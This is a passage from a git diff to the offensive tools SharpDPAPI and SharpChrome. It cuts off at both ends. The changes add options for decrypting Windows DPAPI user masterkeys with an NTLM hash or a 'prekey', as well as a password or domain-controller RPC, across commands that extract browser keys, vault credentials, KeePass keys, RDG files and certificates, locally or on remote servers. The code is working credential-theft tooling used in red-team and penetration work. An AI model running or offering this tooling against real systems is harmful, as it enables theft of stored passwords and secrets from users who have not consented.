true, arguments["/server"], password); - } - else - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpChrome/Commands/Statekeys.cs b/SharpChrome/Commands/Statekeys.cs index 7caf8e1..48445a3 100644 --- a/SharpChrome/Commands/Statekeys.cs +++ b/SharpChrome/Commands/Statekeys.cs @@ -47,16 +47,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = SharpDPAPI.Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Commands/Blob.cs b/SharpDPAPI/Commands/Blob.cs index 7890d11..2ef25fe 100755 --- a/SharpDPAPI/Commands/Blob.cs +++ b/SharpDPAPI/Commands/Blob.cs @@ -16,6 +16,7 @@ public void Execute(Dictionary arguments) byte[] blobBytes; bool unprotect = false; // whether to force CryptUnprotectData() byte[] entropy = null; + var server = ""; if (arguments.ContainsKey("/unprotect")) { @@ -42,6 +43,11 @@ public void Execute(Dictionary arguments) return; } + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } + // {GUID}:SHA1 keys are the only ones that don't start with / Dictionary masterkeys = new Dictionary(); foreach (KeyValuePair entry in arguments) @@ -62,21 +68,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); } else if (arguments.ContainsKey("/rpc")) { - Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); - masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/entropy")) diff --git a/SharpDPAPI/Commands/Certificate.cs b/SharpDPAPI/Commands/Certificate.cs index b85bd49..bf7e4e8 100755 --- a/SharpDPAPI/Commands/Certificate.cs +++ b/SharpDPAPI/Commands/Certificate.cs @@ -14,10 +14,15 @@ public void Execute(Dictionary arguments) Console.WriteLine("\r\n[*] Action: Certificate Triage"); arguments.Remove("certificates"); - string server; // used for remote server specification + string server = ""; // used for remote server specification bool cng = false; // used for CNG certs bool showall = false; // used for CNG certs - bool unprotect = false; // whether to force CryptUnprotectData() + bool unprotect = false; // whether to force CryptUnprotectData() + + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } if (arguments.ContainsKey("/unprotect")) { @@ -126,17 +131,25 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); + } + else if (arguments.ContainsKey("/rpc")) + { + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); + } + if (arguments.ContainsKey("/server")) { server = arguments["/server"]; diff --git a/SharpDPAPI/Commands/Credentials.cs b/SharpDPAPI/Commands/Credentials.cs index 3d4b8ae..33cb1cf 100755 --- a/SharpDPAPI/Commands/Credentials.cs +++ b/SharpDPAPI/Commands/Credentials.cs @@ -43,21 +43,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); } else if (arguments.ContainsKey("/rpc")) { - Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); - masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Commands/Keepass.cs b/SharpDPAPI/Commands/Keepass.cs index f13dd90..dd4dd15 100644 --- a/SharpDPAPI/Commands/Keepass.cs +++ b/SharpDPAPI/Commands/Keepass.cs @@ -49,21 +49,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); } else if (arguments.ContainsKey("/rpc")) { - Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); - masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Commands/Masterkeys.cs b/SharpDPAPI/Commands/Masterkeys.cs index 113fceb..4e8e4c2 100755 --- a/SharpDPAPI/Commands/Masterkeys.cs +++ b/SharpDPAPI/Commands/Masterkeys.cs @@ -3,6 +3,7 @@ using System.DirectoryServices.ActiveDirectory; using System.IO; using System.Net; +using System.Runtime.InteropServices; using System.Security.Cryptography; using System.Text; using static System.Net.Mime.MediaTypeNames; @@ -17,11 +18,18 @@ public void Execute(Dictionary arguments) { Console.WriteLine("\r\n[*] Action: User DPAPI Masterkey File Triage\r\n"); - byte[] backupKeyBytes; - string password; + byte[] backupKeyBytes = null; + string password = ""; + string ntlm = ""; + string prekey = ""; + string computerName = ""; + string target = ""; + string sid = ""; + bool hashes = false; // true to display the matserkeys as hashes + bool rpc = false; // true to use RPC MS-BKUP for retrieval + bool show = true; // true to show the masterkey results in the Triage code Dictionary mappings = new Dictionary(); - if (arguments.ContainsKey("/pvk")) { string pvk64 = arguments["/pvk"]; @@ -33,99 +41,71 @@ public void Execute(Dictionary arguments) { backupKeyBytes = Convert.FromBase64String(pvk64); } - if (arguments.ContainsKey("/server")) - { - Console.WriteLine("[*] Triaging remote server: {0}\r\n", arguments["/server"]); - mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, arguments["/server"]); - } - else if (arguments.ContainsKey("/target")) - { - Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); - mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true, "", "", arguments["/target"]); - } - else - { - Console.WriteLine(); - mappings = Triage.TriageUserMasterKeys(backupKeyBytes, true); - } } - else if (arguments.ContainsKey("/password")) + + if (arguments.ContainsKey("/server")) + { + computerName = arguments["/server"]; + } + if (arguments.ContainsKey("/target")) + { + target = arguments["/target"]; + } + + if (arguments.ContainsKey("/password")) { password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - mappings = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else if (arguments.ContainsKey("/target")) - { - if (!arguments.ContainsKey("/sid")) - { - Console.WriteLine("[X] When using /password:X with /target:X, a /sid:X (domain user SID) is required!"); - return; - } - else { - Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); - mappings = Triage.TriageUserMasterKeys(null, true, "", password, arguments["/target"], arguments["/sid"]); - } - } - else - { - mappings = Triage.TriageUserMasterKeys(null, true, "", password); - } } - else if (arguments.ContainsKey("/hashes")) + if (arguments.ContainsKey("/ntlm")) { - Console.WriteLine("[*] Will dump user masterkey hashes\r\n"); - if (arguments.ContainsKey("/server")) - { - mappings = Triage.TriageUserMasterKeys(null, true, arguments["/server"], "", "", "", true); - } - else if (arguments.ContainsKey("/target")) - { - if (!arguments.ContainsKey("/sid")) - { - Console.WriteLine("[X] When dumping hashes with /target:X, a /sid:X (domain user SID) is required!"); - return; - } - else - { - Console.WriteLine("[*] Triaging masterkey target: {0}\r\n", arguments["/target"]); - mappings = Triage.TriageUserMasterKeys(null, true, "", "", arguments["/target"], arguments["/sid"], true); - } - } - else - { - mappings = Triage.TriageUserMasterKeys(null, true, "", "", "", "", true); - } + ntlm = arguments["/ntlm"]; + } + if (arguments.ContainsKey("/prekey")) + { + prekey = arguments["/prekey"]; } - else if (arguments.ContainsKey("/rpc")) + if (arguments.ContainsKey("/sid")) { - Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); - mappings = Triage.TriageUserMasterKeys(null, rpc: true); + sid = arguments["/sid"]; } - else + + if (arguments.ContainsKey("/hashes")) + { + hashes = true; + } + if (arguments.ContainsKey("/rpc")) + { + rpc = true; + } + + if ( + (arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/prekey")) + && arguments.ContainsKey("/target") + && !arguments.ContainsKey("/sid")) { - Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key, /password:X or /hashes must be supplied!"); + Console.WriteLine("[X] When using /password, /ntlm, or /prekey with /target:X, a /sid:X (domain user SID) is required!"); return; } - if (!arguments.ContainsKey("/password")) + if (arguments.ContainsKey("/hashes") && arguments.ContainsKey("/target") && !arguments.ContainsKey("/sid")) { - if (mappings.Count == 0) - { - Console.WriteLine("\r\n[!] No master keys decrypted!\r\n"); - } - else - { - var message = arguments.ContainsKey("/hashes") ? "hashes" : "cache"; - Console.WriteLine("\r\n[*] User master key {0}:\r\n", message); - foreach (KeyValuePair kvp in mappings) - { - Console.WriteLine("{0}:{1}", kvp.Key, kvp.Value); - } - } + Console.WriteLine("[X] When using /password, /ntlm, or /prekey with /target:X, a /sid:X (domain user SID) is required!"); + return; } + + if ( + !(arguments.ContainsKey("/password") || arguments.ContainsKey("/ntlm") || arguments.ContainsKey("/prekey")) + && !arguments.ContainsKey("/pvk") + && !arguments.ContainsKey("/rpc") + && !arguments.ContainsKey("/hashes")) + { + Console.WriteLine("[X] A /pvk:BASE64 domain DPAPI backup key, /rpc, /password, /ntlm, /prekey, or /hashes must be supplied!"); + return; + } + + mappings = Triage.TriageUserMasterKeys( backupKeyBytes: backupKeyBytes, show: show, computerName: computerName, + password: password, ntlm: ntlm, prekey: prekey, target: target, + userSID: sid, dumpHash: hashes, rpc: rpc); } } } \ No newline at end of file diff --git a/SharpDPAPI/Commands/PS.cs b/SharpDPAPI/Commands/PS.cs index 9559aa8..b4edb2e 100755 --- a/SharpDPAPI/Commands/PS.cs +++ b/SharpDPAPI/Commands/PS.cs @@ -14,6 +14,7 @@ public void Execute(Dictionary arguments) string target = ""; bool unprotect = false; // whether to force CryptUnprotectData() + var server = ""; if (arguments.ContainsKey("/unprotect")) { @@ -32,6 +33,11 @@ public void Execute(Dictionary arguments) return; } + if (arguments.ContainsKey("/server")) + { + server = arguments["/server"]; + } + // {GUID}:SHA1 keys are the only ones that don't start with / Dictionary masterkeys = new Dictionary(); foreach (KeyValuePair entry in arguments) @@ -52,21 +58,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); } else if (arguments.ContainsKey("/rpc")) { - Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); - masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } Triage.TriagePSCredFile(masterkeys, target, unprotect); diff --git a/SharpDPAPI/Commands/RDG.cs b/SharpDPAPI/Commands/RDG.cs index 6100363..574429e 100755 --- a/SharpDPAPI/Commands/RDG.cs +++ b/SharpDPAPI/Commands/RDG.cs @@ -49,21 +49,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); } else if (arguments.ContainsKey("/rpc")) { - Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); - masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Commands/Triage.cs b/SharpDPAPI/Commands/Triage.cs index 90f5170..54eb078 100755 --- a/SharpDPAPI/Commands/Triage.cs +++ b/SharpDPAPI/Commands/Triage.cs @@ -40,21 +40,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); } else if (arguments.ContainsKey("/rpc")) { - Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); - masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/server") && !arguments.ContainsKey("/pvk") && !arguments.ContainsKey("/password")) diff --git a/SharpDPAPI/Commands/Vaults.cs b/SharpDPAPI/Commands/Vaults.cs index dc9c947..1ad72a3 100755 --- a/SharpDPAPI/Commands/Vaults.cs +++ b/SharpDPAPI/Commands/Vaults.cs @@ -41,21 +41,23 @@ public void Execute(Dictionary arguments) } else if (arguments.ContainsKey("/password")) { - string password = arguments["/password"]; - Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", password); - if (arguments.ContainsKey("/server")) - { - masterkeys = Triage.TriageUserMasterKeys(null, true, arguments["/server"], password); - } - else - { - masterkeys = Triage.TriageUserMasterKeys(null, true, "", password); - } + Console.WriteLine("[*] Will decrypt user masterkeys with password: {0}\r\n", arguments["/password"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, password: arguments["/password"]); + } + else if (arguments.ContainsKey("/ntlm")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with NTLM hash: {0}\r\n", arguments["/ntlm"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, ntlm: arguments["/ntlm"]); + } + else if (arguments.ContainsKey("/prekey")) + { + Console.WriteLine("[*] Will decrypt user masterkeys with PreKey: {0}\r\n", arguments["/prekey"]); + masterkeys = Triage.TriageUserMasterKeys(show: true, computerName: server, prekey: arguments["/prekey"]); } else if (arguments.ContainsKey("/rpc")) { - Console.WriteLine("[*] Will ask domain controller to decrypt masterkey for us\r\n"); - masterkeys = Triage.TriageUserMasterKeys(null, rpc: true); + Console.WriteLine("[*] Will ask a domain controller to decrypt masterkeys for us\r\n"); + masterkeys = Triage.TriageUserMasterKeys(show: true, rpc: true); } if (arguments.ContainsKey("/target")) diff --git a/SharpDPAPI/Domain/Version.cs b/SharpDPAPI/Domain/Version.cs index ece7e6b..8c69a2a 100755 --- a/SharpDPAPI/Domain/Version.cs +++ b/SharpDPAPI/Domain/Version.cs @@ -4,6 +4,6 @@ namespace SharpDPAPI { public static class Version { - public static string version = "1.11.3"; + public static string version = "1.12.0"; } } diff --git a/SharpDPAPI/lib/Dpapi.cs b/SharpDPAPI/lib/Dpapi.cs index 76903c8..8ce65bf 100755 --- a/SharpDPAPI/lib/Dpapi.cs +++ b/SharpDPAPI/lib/Dpapi.cs @@ -851,12 +851,12 @@ public static Dictionary PVKTriage(Dictionary ar if (arguments.ContainsKey("/server")) { - masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes, false, arguments["/server"]); + masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes: backupKeyBytes, show: false, computerName: arguments["/server"]); } else { Console.WriteLine(""); - masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes, false); + masterkeys = Triage.TriageUserMasterKeys(backupKeyBytes: backupKeyBytes, show: false); } if (masterkeys.Count == 0) @@ -1752,7 +1752,7 @@ public static byte[] GetMasterKey(byte[] masterKeyBytes) return masterKeySubBytes; } - public static byte[] CalculateKeys(string password, string directory, bool domain, string userSID = "") + public static byte[] CalculateKeys(bool domain = true, string password = "", string ntlm = "", string prekey = "", string userSID = "", string directory = "") { var usersid = ""; @@ -1777,6 +1777,8 @@ public static byte[] CalculateKeys(string password, string directory, bool domai if (!domain) { + // TODO: handle local prekey! + //Calculate SHA1 from user password using (var sha1 = new SHA1CryptoServiceProvider()) { @@ -1791,43 +1793,67 @@ public static byte[] CalculateKeys(string password, string directory, bool domai } else { - //Calculate NTLM from user password. Kerberos's RC4_HMAC key is the NTLM hash - //Skip NTLM hashing if the password is in NTLM format - string rc4Hash = Regex.IsMatch(password, "^[a-f0-9]{32}$", RegexOptions.IgnoreCase) ? password : - Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password); + if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm)) + { + byte[] ntlmBytes = null; - var ntlm = Helpers.ConvertHexStringToByteArray(rc4Hash); + if (!String.IsNullOrEmpty(password)) + { + ntlmBytes = Helpers.ConvertHexStringToByteArray(Crypto.KerberosPasswordHash(Interop.KERB_ETYPE.rc4_hmac, password)); + } + else if (!String.IsNullOrEmpty(ntlm)) + { + ntlmBytes = Helpers.ConvertHexStringToByteArray(ntlm); + } - var combinedNTLM = Helpers.Combine(ntlm, utf16sidfinal); - byte[] ntlmhmacbytes; + var combinedNTLM = Helpers.Combine(ntlmBytes, utf16sidfinal); + byte[] ntlmhmacbytes; - //Calculate SHA1 of NTLM from user password - using (var hmac = new HMACSHA1(ntlm)) - { - ntlmhmacbytes = hmac.ComputeHash(utf16sidfinal); - } + using (var hmac = new HMACSHA1(ntlmBytes)) + { + ntlmhmacbytes = hmac.ComputeHash(utf16sidfinal); + } - byte[] tmpbytes1; - byte[] tmpbytes2; - byte[] tmpkey3bytes; + byte[] tmpbytes1; + byte[] tmpbytes2; + byte[] tmpkey3bytes; - using (var hMACSHA256 = new HMACSHA256()) - { - var deriveBytes = new Pbkdf2(hMACSHA256, ntlm, utf16sid, 10000); - tmpbytes1 = deriveBytes.GetBytes(32, "sha256"); - } + using (var hMACSHA256 = new HMACSHA256()) + { + var deriveBytes = new Pbkdf2(hMACSHA256, ntlmBytes, utf16sid, 10000); + tmpbytes1 = deriveBytes.GetBytes(32, "sha256"); + } - using (var hMACSHA256 = new HMACSHA256()) - { - var deriveBytes = new Pbkdf2(hMACSHA256, tmpbytes1, utf16sid, 1); - tmpbytes2 = deriveBytes.GetBytes(16, "sha256"); + using (var hMACSHA256 = new HMACSHA256()) + { + var deriveBytes = new Pbkdf2(hMACSHA256, tmpbytes1, utf16sid, 1); + tmpbytes2 = deriveBytes.GetBytes(16, "sha256"); + } + + var b = BitConverter.ToString(tmpbytes2).Replace("-", ""); + + using (var hmac = new HMACSHA1(tmpbytes2)) + { + tmpkey3bytes = hmac.ComputeHash(utf16sidfinal); + } + return tmpkey3bytes; } + else if (!String.IsNullOrEmpty(prekey)) + { + byte[] tmpkey3bytes; + + using (var hmac = new HMACSHA1(Helpers.ConvertHexStringToByteArray(prekey))) + { + tmpkey3bytes = hmac.ComputeHash(utf16sidfinal); + } - using (var hmac = new HMACSHA1(tmpbytes2)) + return tmpkey3bytes; + } + else { - tmpkey3bytes = hmac.ComputeHash(utf16sidfinal); + Console.WriteLine(" [X] CalculateKeys() error: either a /password, /ntlm, or /prekey must be supplied!"); + return null; } - return tmpkey3bytes; } } diff --git a/SharpDPAPI/lib/Triage.cs b/SharpDPAPI/lib/Triage.cs index bcf1c87..6f328d3 100755 --- a/SharpDPAPI/lib/Triage.cs +++ b/SharpDPAPI/lib/Triage.cs @@ -13,8 +13,8 @@ namespace SharpDPAPI { public class Triage { - public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes, bool show = false, string computerName = "", - string password = "", string target = "", string userSID = "", bool dumpHash = false, bool rpc = false) + public static Dictionary TriageUserMasterKeys(byte[] backupKeyBytes = null, bool show = false, string computerName = "", + string password = "", string ntlm = "", string prekey = "", string target = "", string userSID = "", bool dumpHash = false, bool rpc = false) { // triage all *user* masterkeys we can find, decrypting if the backupkey is supplied @@ -27,8 +27,7 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy // if we're targeting specific masterkey files if (((backupKeyBytes == null) || (backupKeyBytes.Length == 0)) && String.IsNullOrEmpty(userSID)) { - // currently only backupkey is supported - Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...' or '/password:X'"); + Console.WriteLine("[X] The masterkey '/target:X' option currently requires '/pvk:BASE64...', or a SID with a /password, /ntlm, or /prekey"); return mappings; } @@ -60,9 +59,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); } - else if (!String.IsNullOrEmpty(password) && !String.IsNullOrEmpty(userSID)) + else if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(prekey)) { - byte[] hmacBytes = Dpapi.CalculateKeys(password, "", true, userSID); + byte[] hmacBytes = Dpapi.CalculateKeys(password:password, ntlm:ntlm, prekey:prekey, userSID:userSID); plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } else if (dumpHash) @@ -91,9 +90,9 @@ public static Dictionary TriageUserMasterKeys(byte[] backupKeyBy { plaintextMasterKey = Dpapi.DecryptMasterKey(masterKeyBytes, backupKeyBytes); } - else if (!String.IsNullOrEmpty(password)) + else if (!String.IsNullOrEmpty(password) || !String.IsNullOrEmpty(ntlm) || !String.IsNullOrEmpty(prekey)) { - byte[] hmacBytes = Dpapi.CalculateKeys(password, "", true, userSID); + byte[] hmacBytes = Dpapi.CalculateKeys(password: password, ntlm: ntlm, prekey: prekey, userSID: userSID); plaintextMasterKey = Dpapi.DecryptMasterKeyWithSha(masterKeyBytes, hmacBytes); } else if 